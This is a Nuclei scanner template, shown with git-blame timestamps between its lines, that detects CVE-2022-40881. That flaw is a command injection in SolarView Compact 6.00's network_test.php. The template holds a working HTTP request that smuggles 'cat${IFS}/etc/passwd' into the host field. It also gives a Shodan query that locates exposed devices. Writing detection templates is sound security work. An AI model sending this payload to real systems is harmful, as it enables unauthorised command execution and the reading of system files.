2022-11-17 14:32:59 +00:00
|
|
|
id: CVE-2022-40881
|
|
|
|
|
|
|
|
info:
|
2022-11-18 08:19:07 +00:00
|
|
|
name: SolarView 6.00 - Remote Command Execution
|
2022-11-17 14:32:59 +00:00
|
|
|
author: For3stCo1d
|
|
|
|
severity: critical
|
|
|
|
description: |
|
2023-01-16 17:41:15 +00:00
|
|
|
SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest patch or upgrade to a non-vulnerable version of SolarView.
|
2022-11-17 14:32:59 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php
|
2022-11-17 16:02:12 +00:00
|
|
|
- https://github.com/advisories/GHSA-wx3r-88rg-whxq
|
2022-11-18 08:19:07 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-40881
|
|
|
|
classification:
|
2022-11-21 05:13:32 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2022-11-18 08:19:07 +00:00
|
|
|
cve-id: CVE-2022-40881
|
2022-11-21 05:13:32 +00:00
|
|
|
cwe-id: CWE-77
|
2023-10-29 11:57:59 +00:00
|
|
|
epss-score: 0.95494
|
2023-11-10 17:07:52 +00:00
|
|
|
epss-percentile: 0.99198
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:o:contec:solarview_compact_firmware:6.00:*:*:*:*:*:*:*
|
2022-11-17 14:32:59 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: contec
|
|
|
|
product: solarview_compact_firmware
|
2023-09-06 11:59:08 +00:00
|
|
|
shodan-query: http.favicon.hash:"-244067125"
|
2022-11-17 16:02:12 +00:00
|
|
|
tags: cve,cve2022,solarview,rce,lfi
|
2022-11-17 14:32:59 +00:00
|
|
|
variables:
|
|
|
|
cmd: "cat${IFS}/etc/passwd"
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-11-17 14:32:59 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /network_test.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
host=%0a{{cmd}}%0a&command=ping
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-11 17:38:55 +00:00
|
|
|
# digest: 490a004630440220708134de84c2f065a8a6c2ca932c4143e9f8f750c1e52e17d9ed293099e674e502205b7f80290f8eeaf1a44b1ecbb054a43d51927e87d9aeaee89ac26c69ecd8b7c3:922c64590222798bb761d5b6d8e72950
|